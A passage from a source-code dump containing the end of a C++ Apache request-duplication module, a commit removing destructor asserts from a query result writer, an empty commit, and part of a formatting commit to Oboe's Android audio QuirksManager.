(!tConf || !tConf->dirName) {\n \/\/ Not a location that we treat, we decline the request\n return DECLINED;\n }\n RequestInfo *info = new RequestInfo(tConf->getNextReqId());\n \/\/ Allocation on a shared pointer on the request pool\n \/\/ We guarantee that whatever happens, the RequestInfo will be deleted\n void *space = apr_palloc(pRequest->pool, sizeof(boost::shared_ptr<RequestInfo>));\n new (space) boost::shared_ptr<RequestInfo>(info);\n \/\/ Registering of the shared pointer destructor on the pool\n apr_pool_cleanup_register(pRequest->pool, space, cleaner<boost::shared_ptr<RequestInfo> >,\n apr_pool_cleanup_null);\n \/\/ Backup in request context\n ap_set_module_config(pRequest->request_config, &dup_module, (void *)info);\n\n if (!pRequest->connection->pool) {\n Log::error(42, \"No connection pool associated to the request\");\n return DECLINED;\n }\n if (!pRequest->connection->bucket_alloc) {\n pRequest->connection->bucket_alloc = apr_bucket_alloc_create(pRequest->connection->pool);\n if (!pRequest->connection->bucket_alloc) {\n Log::error(42, \"Request bucket allocation failed\");\n return DECLINED;\n }\n }\n\n apr_bucket_brigade *bb = apr_brigade_create(pRequest->connection->pool, pRequest->connection->bucket_alloc);\n if (!bb) {\n Log::error(42, \"Bucket brigade allocation failed\");\n return DECLINED;\n }\n while (!extractBrigadeContent(bb, pRequest, info->mBody)){\n apr_brigade_cleanup(bb);\n }\n apr_brigade_cleanup(bb);\n \/\/ Body read :)\n\n \/\/ Copy Request ID in both headers\n std::string reqId = boost::lexical_cast<std::string>(info->mId);\n apr_table_set(pRequest->headers_in, c_UNIQUE_ID, reqId.c_str());\n apr_table_set(pRequest->headers_out, c_UNIQUE_ID, reqId.c_str());\n\n \/\/ Synchronous context enrichment\n info->mConfPath = tConf->dirName;\n info->mArgs = pRequest->args ? pRequest->args : \"\";\n gProcessor->enrichContext(pRequest, *info);\n\n return DECLINED;\n}\n\n\n\/**\n * Reinject the body we saved in earlyHook into a brigade\n *\/\napr_status_t\ninputFilterBody2Brigade(ap_filter_t *pF, apr_bucket_brigade *pB, ap_input_mode_t pMode, apr_read_type_e pBlock, apr_off_t pReadbytes)\n{\n\n request_rec *pRequest = pF->r;\n if (!pRequest || !pRequest->per_dir_config) {\n apr_bucket *e = apr_bucket_eos_create(pF->c->bucket_alloc);\n assert(e);\n APR_BRIGADE_INSERT_TAIL(pB, e);\n return APR_SUCCESS;\n }\n \/\/ Retrieve request info from context\n boost::shared_ptr<RequestInfo> *shPtr = reinterpret_cast<boost::shared_ptr<RequestInfo> *>(ap_get_module_config(pRequest->request_config, &dup_module));\n RequestInfo *info = shPtr->get();\n\n if (!info) {\n \/\/ Should not happen\n apr_bucket *e = apr_bucket_eos_create(pF->c->bucket_alloc);\n assert(e);\n APR_BRIGADE_INSERT_TAIL(pB, e);\n return APR_SUCCESS;\n }\n if (!pF->ctx) {\n if (!info->mBody.empty()) {\n apr_status_t st;\n Log::warn(1, \"Wrote body to brigade: %s\", info->mBody.c_str());\n if ((st = apr_brigade_write(pB, NULL, NULL, info->mBody.c_str(), info->mBody.size())) != APR_SUCCESS ) {\n Log::warn(1, \"Failed to write request body in a brigade: %s\", info->mBody.c_str());\n return st;\n }\n }\n \/\/ Marks the body as sent\n pF->ctx = (void *) -1;\n }\n \/\/ Marks that we do not have any more data to read\n apr_bucket *e = apr_bucket_eos_create(pF->c->bucket_alloc);\n assert(e);\n APR_BRIGADE_INSERT_TAIL(pB, e);\n return APR_SUCCESS;\n}\n\n\/*\n * Callback to iterate over the headers tables\n * Pushes a copy of key => value in a list\n *\/\nstatic int iterateOverHeadersCallBack(void *d, const char *key, const char *value) {\n RequestInfo::tHeaders *headers = reinterpret_cast<RequestInfo::tHeaders *>(d);\n headers->push_back(std::pair<std::string, std::string>(key, value));\n return 1;\n}\n\nstatic void\nprepareRequestInfo(DupConf *tConf, request_rec *pRequest, RequestInfo &r, bool withAnswer) {\n \/\/ Basic\n r.mPoison = false;\n r.mConfPath = tConf->dirName;\n r.mPath = pRequest->uri;\n r.mArgs = pRequest->args ? pRequest->args : \"\";\n\n \/\/ Copy headers in\n apr_table_do(&iterateOverHeadersCallBack, &r.mHeadersIn, pRequest->headers_in, NULL);\n if (withAnswer) {\n \/\/ Copy headers out\n apr_table_do(&iterateOverHeadersCallBack, &r.mHeadersOut, pRequest->headers_out, NULL);\n }\n}\n\nstatic void\nprintRequest(request_rec *pRequest, RequestInfo *pBH, DupConf *tConf) {\n const char *reqId = apr_table_get(pRequest->headers_in, c_UNIQUE_ID);\n Log::debug(\"### Pushing a request with ID: %s, body size:%ld\", reqId, pBH->mBody.size());\n Log::debug(\"### Uri:%s, dir name:%s\", pRequest->uri, tConf->dirName);\n Log::debug(\"### Request args: %s\", pRequest->args);\n}\n\n\/*\n * Request context used during brigade run\n *\/\nclass RequestContext {\npublic:\n apr_bucket_brigade *mTmpBB;\n RequestInfo *mReq; \/** Req is pushed to requestprocessor for duplication and will be deleted later*\/\n\n RequestContext(ap_filter_t *pFilter) {\n mTmpBB = apr_brigade_create(pFilter->r->pool, pFilter->c->bucket_alloc);\n boost::shared_ptr<RequestInfo> *shPtr = reinterpret_cast<boost::shared_ptr<RequestInfo> *>(ap_get_module_config(pFilter->r->request_config, &dup_module));\n mReq = shPtr->get();\n assert(mReq);\n }\n\n RequestContext()\n : mTmpBB(NULL)\n , mReq(NULL) {\n }\n\n ~RequestContext() {\n if (mTmpBB) {\n apr_brigade_cleanup(mTmpBB);\n }\n }\n};\n\n\n\/**\n * Here we can get the response body and finally duplicate or not\n *\/\napr_status_t\noutputFilterHandler(ap_filter_t *pFilter, apr_bucket_brigade *pBrigade) {\n request_rec *pRequest = pFilter->r;\n \/\/ Reject requests that do not meet our requirements\n if (!pRequest || !pRequest->per_dir_config)\n return ap_pass_brigade(pFilter->next, pBrigade);\n\n struct DupConf *tConf = reinterpret_cast<DupConf *>(ap_get_module_config(pRequest->per_dir_config, &dup_module));\n if ((!tConf) || (!tConf->dirName) || (tConf->getHighestDuplicationType() == DuplicationType::NONE)) {\n return ap_pass_brigade(pFilter->next, pBrigade);\n }\n\n \/\/ Request answer analyse\n RequestContext *ctx = static_cast<RequestContext *>(pFilter->ctx);\n if (ctx == NULL) {\n \/\/ First pass in the output filter => context init\n ctx = new RequestContext(pFilter);\n pFilter->ctx = ctx;\n } else if (ctx == (void *) -1) {\n \/\/ Output filter already did his job, we return\n return ap_pass_brigade(pFilter->next, pBrigade);\n }\n\n \/\/ We need to get the highest one as we haven't matched which rule it is yet\n if (tConf->getHighestDuplicationType() != DuplicationType::REQUEST_WITH_ANSWER) {\n \/\/ Asynchronous push of request WITHOUT the answer\n RequestInfo *rH = ctx->mReq;\n prepareRequestInfo(tConf, pRequest, *rH, false);\n printRequest(pRequest, rH, tConf);\n gThreadPool->push(rH);\n delete ctx;\n pFilter->ctx = (void *) -1;\n return ap_pass_brigade(pFilter->next, pBrigade);\n }\n \/\/ Asynchronous push of request WITH the answer\n apr_bucket *currentBucket;\n while ((currentBucket = APR_BRIGADE_FIRST(pBrigade)) != APR_BRIGADE_SENTINEL(pBrigade)) {\n const char *data;\n apr_size_t len;\n apr_status_t rv;\n rv = apr_bucket_read(currentBucket, &data, &len, APR_BLOCK_READ);\n\n if ((rv == APR_SUCCESS) && (data != NULL)) {\n ctx->mReq->mAnswer.append(data, len);\n }\n \/* Remove bucket e from bb. *\/\n APR_BUCKET_REMOVE(currentBucket);\n \/* Insert it into temporary brigade. *\/\n APR_BRIGADE_INSERT_HEAD(ctx->mTmpBB, currentBucket);\n \/* Pass brigade downstream. *\/\n rv = ap_pass_brigade(pFilter->next, ctx->mTmpBB);\n if (rv != APR_SUCCESS) {\n \/\/ Something went wrong, no duplication performed\n delete ctx;\n pFilter->ctx = (void *) -1;\n return rv;\n }\n if (APR_BUCKET_IS_EOS(currentBucket)) {\n \/\/ Pushing the answer to the processor\n prepareRequestInfo(tConf, pRequest, *(ctx->mReq), true);\n printRequest(pRequest, ctx->mReq, tConf);\n gThreadPool->push(ctx->mReq);\n delete ctx;\n pFilter->ctx = (void *) -1;\n }\n else {\n apr_brigade_cleanup(ctx->mTmpBB);\n }\n }\n return OK;\n}\n\n};\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n#pragma once\n\n#include \"types.hh\"\n#include \"atomic_cell.hh\"\n#include \"query-request.hh\"\n#include \"query-result.hh\"\n\n\/\/ Refer to query-result.hh for the query result format\n\nnamespace query {\n\nclass result::row_writer {\n bytes_ostream& _w;\n const partition_slice& _slice;\n bytes_ostream::place_holder<uint32_t> _size_ph;\n size_t _start_pos;\n bool _finished = false;\npublic:\n row_writer(\n const partition_slice& slice,\n bytes_ostream& w,\n bytes_ostream::place_holder<uint32_t> size_ph)\n : _w(w)\n , _slice(slice)\n , _size_ph(size_ph)\n , _start_pos(w.size())\n { }\n\n ~row_writer() {\n assert(_finished);\n }\n\n void add_empty() {\n \/\/ FIXME: store this in a bitmap\n _w.write<int8_t>(false);\n }\n\n void add(::atomic_cell_view c) {\n \/\/ FIXME: store this in a bitmap\n _w.write<int8_t>(true);\n assert(c.is_live());\n if (_slice.options.contains<partition_slice::option::send_timestamp_and_expiry>()) {\n _w.write(c.timestamp());\n if (c.is_live_and_has_ttl()) {\n _w.write<gc_clock::rep>(c.expiry().time_since_epoch().count());\n } else {\n _w.write<gc_clock::rep>(std::numeric_limits<gc_clock::rep>::max());\n }\n }\n _w.write_blob(c.value());\n }\n\n void add(collection_mutation::view v) {\n \/\/ FIXME: store this in a bitmap\n _w.write<int8_t>(true);\n _w.write_blob(v.data);\n }\n\n void finish() {\n auto row_size = _w.size() - _start_pos;\n assert((uint32_t)row_size == row_size);\n _w.set(_size_ph, (uint32_t)row_size);\n _finished = true;\n }\n};\n\n\/\/ Call finish() or retract() when done.\nclass result::partition_writer {\n bytes_ostream& _w;\n const partition_slice& _slice;\n bytes_ostream::place_holder<uint32_t> _count_ph;\n bytes_ostream::position _pos;\n uint32_t _row_count = 0;\n bool _static_row_added = false;\n bool _finished = false;\npublic:\n partition_writer(\n const partition_slice& slice,\n bytes_ostream::place_holder<uint32_t> count_ph,\n bytes_ostream::position pos,\n bytes_ostream& w)\n : _w(w)\n , _slice(slice)\n , _count_ph(count_ph)\n , _pos(pos)\n { }\n\n ~partition_writer() {\n assert(_finished);\n }\n\n row_writer add_row(const clustering_key& key) {\n if (_slice.options.contains<partition_slice::option::send_clustering_key>()) {\n _w.write_blob(key);\n }\n ++_row_count;\n auto size_placeholder = _w.write_place_holder<uint32_t>();\n return row_writer(_slice, _w, size_placeholder);\n }\n\n \/\/ Call before any add_row()\n row_writer add_static_row() {\n assert(!_static_row_added); \/\/ Static row can be added only once\n assert(!_row_count); \/\/ Static row must be added before clustered rows\n _static_row_added = true;\n auto size_placeholder = _w.write_place_holder<uint32_t>();\n return row_writer(_slice, _w, size_placeholder);\n }\n\n uint32_t row_count() const {\n return _row_count;\n }\n\n void finish() {\n _w.set(_count_ph, _row_count);\n\n \/\/ The partition is live. If there are no clustered rows, there\n \/\/ must be something live in the static row, which counts as one row.\n _row_count = std::max<uint32_t>(_row_count, 1);\n\n _finished = true;\n }\n\n void retract() {\n _row_count = 0;\n _w.retract(_pos);\n _finished = true;\n }\n\n const partition_slice& slice() const {\n return _slice;\n }\n};\n\nclass result::builder {\n bytes_ostream _w;\n const partition_slice& _slice;\npublic:\n builder(const partition_slice& slice) : _slice(slice) { }\n\n \/\/ Starts new partition and returns a builder for its contents.\n \/\/ Invalidates all previously obtained builders\n partition_writer add_partition(const partition_key& key) {\n auto pos = _w.pos();\n auto count_place_holder = _w.write_place_holder<uint32_t>();\n if (_slice.options.contains<partition_slice::option::send_partition_key>()) {\n _w.write_blob(key);\n }\n return partition_writer(_slice, count_place_holder, pos, _w);\n }\n\n result build() {\n return result(std::move(_w));\n };\n\n const partition_slice& slice() const {\n return _slice;\n }\n};\n\n}\n<commit_msg>query-result-writer: Remove assert(_finished) guards from destructors<commit_after>\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n#pragma once\n\n#include \"types.hh\"\n#include \"atomic_cell.hh\"\n#include \"query-request.hh\"\n#include \"query-result.hh\"\n\n\/\/ Refer to query-result.hh for the query result format\n\nnamespace query {\n\nclass result::row_writer {\n bytes_ostream& _w;\n const partition_slice& _slice;\n bytes_ostream::place_holder<uint32_t> _size_ph;\n size_t _start_pos;\npublic:\n row_writer(\n const partition_slice& slice,\n bytes_ostream& w,\n bytes_ostream::place_holder<uint32_t> size_ph)\n : _w(w)\n , _slice(slice)\n , _size_ph(size_ph)\n , _start_pos(w.size())\n { }\n\n void add_empty() {\n \/\/ FIXME: store this in a bitmap\n _w.write<int8_t>(false);\n }\n\n void add(::atomic_cell_view c) {\n \/\/ FIXME: store this in a bitmap\n _w.write<int8_t>(true);\n assert(c.is_live());\n if (_slice.options.contains<partition_slice::option::send_timestamp_and_expiry>()) {\n _w.write(c.timestamp());\n if (c.is_live_and_has_ttl()) {\n _w.write<gc_clock::rep>(c.expiry().time_since_epoch().count());\n } else {\n _w.write<gc_clock::rep>(std::numeric_limits<gc_clock::rep>::max());\n }\n }\n _w.write_blob(c.value());\n }\n\n void add(collection_mutation::view v) {\n \/\/ FIXME: store this in a bitmap\n _w.write<int8_t>(true);\n _w.write_blob(v.data);\n }\n\n void finish() {\n auto row_size = _w.size() - _start_pos;\n assert((uint32_t)row_size == row_size);\n _w.set(_size_ph, (uint32_t)row_size);\n }\n};\n\n\/\/ Call finish() or retract() when done.\nclass result::partition_writer {\n bytes_ostream& _w;\n const partition_slice& _slice;\n bytes_ostream::place_holder<uint32_t> _count_ph;\n bytes_ostream::position _pos;\n uint32_t _row_count = 0;\n bool _static_row_added = false;\npublic:\n partition_writer(\n const partition_slice& slice,\n bytes_ostream::place_holder<uint32_t> count_ph,\n bytes_ostream::position pos,\n bytes_ostream& w)\n : _w(w)\n , _slice(slice)\n , _count_ph(count_ph)\n , _pos(pos)\n { }\n\n row_writer add_row(const clustering_key& key) {\n if (_slice.options.contains<partition_slice::option::send_clustering_key>()) {\n _w.write_blob(key);\n }\n ++_row_count;\n auto size_placeholder = _w.write_place_holder<uint32_t>();\n return row_writer(_slice, _w, size_placeholder);\n }\n\n \/\/ Call before any add_row()\n row_writer add_static_row() {\n assert(!_static_row_added); \/\/ Static row can be added only once\n assert(!_row_count); \/\/ Static row must be added before clustered rows\n _static_row_added = true;\n auto size_placeholder = _w.write_place_holder<uint32_t>();\n return row_writer(_slice, _w, size_placeholder);\n }\n\n uint32_t row_count() const {\n return _row_count;\n }\n\n void finish() {\n _w.set(_count_ph, _row_count);\n\n \/\/ The partition is live. If there are no clustered rows, there\n \/\/ must be something live in the static row, which counts as one row.\n _row_count = std::max<uint32_t>(_row_count, 1);\n\n }\n\n void retract() {\n _row_count = 0;\n _w.retract(_pos);\n }\n\n const partition_slice& slice() const {\n return _slice;\n }\n};\n\nclass result::builder {\n bytes_ostream _w;\n const partition_slice& _slice;\npublic:\n builder(const partition_slice& slice) : _slice(slice) { }\n\n \/\/ Starts new partition and returns a builder for its contents.\n \/\/ Invalidates all previously obtained builders\n partition_writer add_partition(const partition_key& key) {\n auto pos = _w.pos();\n auto count_place_holder = _w.write_place_holder<uint32_t>();\n if (_slice.options.contains<partition_slice::option::send_partition_key>()) {\n _w.write_blob(key);\n }\n return partition_writer(_slice, count_place_holder, pos, _w);\n }\n\n result build() {\n return result(std::move(_w));\n };\n\n const partition_slice& slice() const {\n return _slice;\n }\n};\n\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Already sync not necessary to sync twice<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <oboe\/AudioStreamBuilder.h>\n#include <oboe\/Oboe.h>\n\n#include \"OboeDebug.h\"\n#include \"QuirksManager.h\"\n\nusing namespace oboe;\n\nint32_t QuirksManager::DeviceQuirks::clipBufferSize(AudioStream &stream,\n int32_t requestedSize) {\n if (!OboeGlobals::areWorkaroundsEnabled()) {\n return requestedSize;\n }\n int bottomMargin = kDefaultBottomMarginInBursts;\n int topMargin = kDefaultTopMarginInBursts;\n if (isMMapUsed(stream)) {\n if (stream.getSharingMode() == SharingMode::Exclusive) {\n bottomMargin = getExclusiveBottomMarginInBursts();\n topMargin = getExclusiveTopMarginInBursts();\n }\n } else {\n bottomMargin = kLegacyBottomMarginInBursts;\n }\n\n int32_t burst = stream.getFramesPerBurst();\n int32_t minSize = bottomMargin * burst;\n int32_t adjustedSize = requestedSize;\n if (adjustedSize < minSize ) {\n adjustedSize = minSize;\n } else {\n int32_t maxSize = stream.getBufferCapacityInFrames() - (topMargin * burst);\n if (adjustedSize > maxSize ) {\n adjustedSize = maxSize;\n }\n }\n return adjustedSize;\n}\n\nbool QuirksManager::DeviceQuirks::isAAudioMMapPossible(const AudioStreamBuilder &builder) const {\n bool isSampleRateCompatible =\n builder.getSampleRate() == oboe::Unspecified\n || builder.getSampleRate() == kCommonNativeRate\n || builder.getSampleRateConversionQuality() != SampleRateConversionQuality::None;\n return builder.getPerformanceMode() == PerformanceMode::LowLatency\n && isSampleRateCompatible\n && builder.getChannelCount() <= kChannelCountStereo;\n}\n\nclass SamsungDeviceQuirks : public QuirksManager::DeviceQuirks {\npublic:\n SamsungDeviceQuirks() {\n std::string arch = getPropertyString(\"ro.arch\");\n isExynos = (arch.rfind(\"exynos\", 0) == 0); \/\/ starts with?\n\n std::string chipname = getPropertyString(\"ro.hardware.chipname\");\n isExynos9810 = (chipname == \"exynos9810\");\n isExynos990 = (chipname == \"exynos990\");\n isExynos850 = (chipname == \"exynos850\");\n\n mBuildChangelist = getPropertyInteger(\"ro.build.changelist\", 0);\n }\n\n virtual ~SamsungDeviceQuirks() = default;\n\n int32_t getExclusiveBottomMarginInBursts() const override {\n \/\/ TODO Make this conditional on build version when MMAP timing improves.\n return isExynos ? kBottomMarginExynos : kBottomMarginOther;\n }\n\n int32_t getExclusiveTopMarginInBursts() const override {\n return kTopMargin;\n }\n\n \/\/ See Oboe issues #824 and #1247 for more information.\n bool isMonoMMapActuallyStereo() const override {\n return isExynos9810 || isExynos850; \/\/ TODO We can make this version specific if it gets fixed.\n }\n\n bool isAAudioMMapPossible(const AudioStreamBuilder &builder) const override {\n return DeviceQuirks::isAAudioMMapPossible(builder)\n \/\/ Samsung says they use Legacy for Camcorder\n && builder.getInputPreset() != oboe::InputPreset::Camcorder;\n }\n\n bool isMMapSafe(const AudioStreamBuilder &builder) override {\n const bool isInput = builder.getDirection() == Direction::Input;\n \/\/ This detects b\/159066712 , S20 LSI has corrupt low latency audio recording\n \/\/ and turns off MMAP.\n \/\/ See also https:\/\/github.com\/google\/oboe\/issues\/892\n bool mRecordingCorrupted = isInput\n && isExynos990\n && mBuildChangelist < 19350896;\n return !mRecordingCorrupted;\n }\n\nprivate:\n \/\/ Stay farther away from DSP position on Exynos devices.\n static constexpr int32_t kBottomMarginExynos = 2;\n static constexpr int32_t kBottomMarginOther = 1;\n static constexpr int32_t kTopMargin = 1;\n bool isExynos = false;\n bool isExynos9810 = false;\n bool isExynos990 = false;\n bool isExynos850 = false;\n int mBuildChangelist = 0;\n};\n\nQuirksManager::QuirksManager() {\n std::string manufacturer = getPropertyString(\"ro.product.manufacturer\");\n if (manufacturer == \"samsung\") {\n mDeviceQuirks = std::make_unique<SamsungDeviceQuirks>();\n } else {\n mDeviceQuirks = std::make_unique<DeviceQuirks>();\n }\n}\n\nbool QuirksManager::isConversionNeeded(\n const AudioStreamBuilder &builder,\n AudioStreamBuilder &childBuilder) {\n bool conversionNeeded = false;\n const bool isLowLatency = builder.getPerformanceMode() == PerformanceMode::LowLatency;\n const bool isInput = builder.getDirection() == Direction::Input;\n const bool isFloat = builder.getFormat() == AudioFormat::Float;\n\n \/\/ There are multiple bugs involving using callback with a specified callback size.\n \/\/ Issue #778: O to Q had a problem with Legacy INPUT streams for FLOAT streams\n \/\/ and a specified callback size. It would assert because of a bad buffer size.\n \/\/\n \/\/ Issue #973: O to R had a problem with Legacy output streams using callback and a specified callback size.\n \/\/ An AudioTrack stream could still be running when the AAudio FixedBlockReader was closed.\n \/\/ Internally b\/161914201#comment25\n \/\/\n \/\/ Issue #983: O to R would glitch if the framesPerCallback was too small.\n \/\/\n \/\/ Most of these problems were related to Legacy stream. MMAP was OK. But we don't\n \/\/ know if we will get an MMAP stream. So, to be safe, just do the conversion in Oboe.\n if (OboeGlobals::areWorkaroundsEnabled()\n && builder.willUseAAudio()\n && builder.isDataCallbackSpecified()\n && builder.getFramesPerDataCallback() != 0\n && getSdkVersion() <= __ANDROID_API_R__) {\n LOGI(\"QuirksManager::%s() avoid setFramesPerCallback(n>0)\", __func__);\n childBuilder.setFramesPerCallback(oboe::Unspecified);\n conversionNeeded = true;\n }\n\n \/\/ If a SAMPLE RATE is specified for low latency then let the native code choose an optimal rate.\n \/\/ TODO There may be a problem if the devices supports low latency\n \/\/ at a higher rate than the default.\n if (builder.getSampleRate() != oboe::Unspecified\n && builder.getSampleRateConversionQuality() != SampleRateConversionQuality::None\n && isLowLatency\n ) {\n childBuilder.setSampleRate(oboe::Unspecified); \/\/ native API decides the best sample rate\n conversionNeeded = true;\n }\n\n \/\/ Data Format\n \/\/ OpenSL ES and AAudio before P do not support FAST path for FLOAT capture.\n if (isFloat\n && isInput\n && builder.isFormatConversionAllowed()\n && isLowLatency\n && (!builder.willUseAAudio() || (getSdkVersion() < __ANDROID_API_P__))\n ) {\n childBuilder.setFormat(AudioFormat::I16); \/\/ needed for FAST track\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() forcing internal format to I16 for low latency\", __func__);\n }\n\n \/\/ Add quirk for float output on API <21\n if (isFloat\n && !isInput\n && getSdkVersion() < __ANDROID_API_L__ && builder.isFormatConversionAllowed()) {\n childBuilder.setFormat(AudioFormat::I16);\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() float was requested but not supported on pre-L devices, \"\n \"creating an underlying I16 stream and using format conversion to provide a float \"\n \"stream\", __func__);\n }\n\n \/\/ Channel Count conversions\n if (OboeGlobals::areWorkaroundsEnabled()\n && builder.isChannelConversionAllowed()\n && builder.getChannelCount() == kChannelCountStereo\n && isInput\n && isLowLatency\n && (!builder.willUseAAudio() && (getSdkVersion() == __ANDROID_API_O__))\n ) {\n \/\/ Workaround for heap size regression in O.\n \/\/ b\/66967812 AudioRecord does not allow FAST track for stereo capture in O\n childBuilder.setChannelCount(kChannelCountMono);\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() using mono internally for low latency on O\", __func__);\n } else if (OboeGlobals::areWorkaroundsEnabled()\n && builder.getChannelCount() == kChannelCountMono\n && isInput\n && mDeviceQuirks->isMonoMMapActuallyStereo()\n && builder.willUseAAudio()\n \/\/ Note: we might use this workaround on a device that supports\n \/\/ MMAP but will use Legacy for this stream. But this will only happen\n \/\/ on devices that have the broken mono.\n && mDeviceQuirks->isAAudioMMapPossible(builder)\n ) {\n \/\/ Workaround for mono actually running in stereo mode.\n childBuilder.setChannelCount(kChannelCountStereo); \/\/ Use stereo and extract first channel.\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() using stereo internally to avoid broken mono\", __func__);\n }\n \/\/ Note that MMAP does not support mono in 8.1. But that would only matter on Pixel 1\n \/\/ phones and they have almost all been updated to 9.0.\n\n return conversionNeeded;\n}\n\nbool QuirksManager::isMMapSafe(AudioStreamBuilder &builder) {\n if (!OboeGlobals::areWorkaroundsEnabled()) return true;\n return mDeviceQuirks->isMMapSafe(builder);\n}\n<commit_msg>Fix formatting<commit_after>\/*\n * Copyright 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <oboe\/AudioStreamBuilder.h>\n#include <oboe\/Oboe.h>\n\n#include \"OboeDebug.h\"\n#include \"QuirksManager.h\"\n\nusing namespace oboe;\n\nint32_t QuirksManager::DeviceQuirks::clipBufferSize(AudioStream &stream,\n int32_t requestedSize) {\n if (!OboeGlobals::areWorkaroundsEnabled()) {\n return requestedSize;\n }\n int bottomMargin = kDefaultBottomMarginInBursts;\n int topMargin = kDefaultTopMarginInBursts;\n if (isMMapUsed(stream)) {\n if (stream.getSharingMode() == SharingMode::Exclusive) {\n bottomMargin = getExclusiveBottomMarginInBursts();\n topMargin = getExclusiveTopMarginInBursts();\n }\n } else {\n bottomMargin = kLegacyBottomMarginInBursts;\n }\n\n int32_t burst = stream.getFramesPerBurst();\n int32_t minSize = bottomMargin * burst;\n int32_t adjustedSize = requestedSize;\n if (adjustedSize < minSize ) {\n adjustedSize = minSize;\n } else {\n int32_t maxSize = stream.getBufferCapacityInFrames() - (topMargin * burst);\n if (adjustedSize > maxSize ) {\n adjustedSize = maxSize;\n }\n }\n return adjustedSize;\n}\n\nbool QuirksManager::DeviceQuirks::isAAudioMMapPossible(const AudioStreamBuilder &builder) const {\n bool isSampleRateCompatible =\n builder.getSampleRate() == oboe::Unspecified\n || builder.getSampleRate() == kCommonNativeRate\n || builder.getSampleRateConversionQuality() != SampleRateConversionQuality::None;\n return builder.getPerformanceMode() == PerformanceMode::LowLatency\n && isSampleRateCompatible\n && builder.getChannelCount() <= kChannelCountStereo;\n}\n\nclass SamsungDeviceQuirks : public QuirksManager::DeviceQuirks {\npublic:\n SamsungDeviceQuirks() {\n std::string arch = getPropertyString(\"ro.arch\");\n isExynos = (arch.rfind(\"exynos\", 0) == 0); \/\/ starts with?\n\n std::string chipname = getPropertyString(\"ro.hardware.chipname\");\n isExynos9810 = (chipname == \"exynos9810\");\n isExynos990 = (chipname == \"exynos990\");\n isExynos850 = (chipname == \"exynos850\");\n\n mBuildChangelist = getPropertyInteger(\"ro.build.changelist\", 0);\n }\n\n virtual ~SamsungDeviceQuirks() = default;\n\n int32_t getExclusiveBottomMarginInBursts() const override {\n \/\/ TODO Make this conditional on build version when MMAP timing improves.\n return isExynos ? kBottomMarginExynos : kBottomMarginOther;\n }\n\n int32_t getExclusiveTopMarginInBursts() const override {\n return kTopMargin;\n }\n\n \/\/ See Oboe issues #824 and #1247 for more information.\n bool isMonoMMapActuallyStereo() const override {\n return isExynos9810 || isExynos850; \/\/ TODO We can make this version specific if it gets fixed.\n }\n\n bool isAAudioMMapPossible(const AudioStreamBuilder &builder) const override {\n return DeviceQuirks::isAAudioMMapPossible(builder)\n \/\/ Samsung says they use Legacy for Camcorder\n && builder.getInputPreset() != oboe::InputPreset::Camcorder;\n }\n\n bool isMMapSafe(const AudioStreamBuilder &builder) override {\n const bool isInput = builder.getDirection() == Direction::Input;\n \/\/ This detects b\/159066712 , S20 LSI has corrupt low latency audio recording\n \/\/ and turns off MMAP.\n \/\/ See also https:\/\/github.com\/google\/oboe\/issues\/892\n bool mRecordingCorrupted = isInput\n && isExynos990\n && mBuildChangelist < 19350896;\n return !mRecordingCorrupted;\n }\n\nprivate:\n \/\/ Stay farther away from DSP position on Exynos devices.\n static constexpr int32_t kBottomMarginExynos = 2;\n static constexpr int32_t kBottomMarginOther = 1;\n static constexpr int32_t kTopMargin = 1;\n bool isExynos = false;\n bool isExynos9810 = false;\n bool isExynos990 = false;\n bool isExynos850 = false;\n int mBuildChangelist = 0;\n};\n\nQuirksManager::QuirksManager() {\n std::string manufacturer = getPropertyString(\"ro.product.manufacturer\");\n if (manufacturer == \"samsung\") {\n mDeviceQuirks = std::make_unique<SamsungDeviceQuirks>();\n } else {\n mDeviceQuirks = std::make_unique<DeviceQuirks>();\n }\n}\n\nbool QuirksManager::isConversionNeeded(\n const AudioStreamBuilder &builder,\n AudioStreamBuilder &childBuilder) {\n bool conversionNeeded = false;\n const bool isLowLatency = builder.getPerformanceMode() == PerformanceMode::LowLatency;\n const bool isInput = builder.getDirection() == Direction::Input;\n const bool isFloat = builder.getFormat() == AudioFormat::Float;\n\n \/\/ There are multiple bugs involving using callback with a specified callback size.\n \/\/ Issue #778: O to Q had a problem with Legacy INPUT streams for FLOAT streams\n \/\/ and a specified callback size. It would assert because of a bad buffer size.\n \/\/\n \/\/ Issue #973: O to R had a problem with Legacy output streams using callback and a specified callback size.\n \/\/ An AudioTrack stream could still be running when the AAudio FixedBlockReader was closed.\n \/\/ Internally b\/161914201#comment25\n \/\/\n \/\/ Issue #983: O to R would glitch if the framesPerCallback was too small.\n \/\/\n \/\/ Most of these problems were related to Legacy stream. MMAP was OK. But we don't\n \/\/ know if we will get an MMAP stream. So, to be safe, just do the conversion in Oboe.\n if (OboeGlobals::areWorkaroundsEnabled()\n && builder.willUseAAudio()\n && builder.isDataCallbackSpecified()\n && builder.getFramesPerDataCallback() != 0\n && getSdkVersion() <= __ANDROID_API_R__) {\n LOGI(\"QuirksManager::%s() avoid setFramesPerCallback(n>0)\", __func__);\n childBuilder.setFramesPerCallback(oboe::Unspecified);\n conversionNeeded = true;\n }\n\n \/\/ If a SAMPLE RATE is specified for low latency then let the native code choose an optimal rate.\n 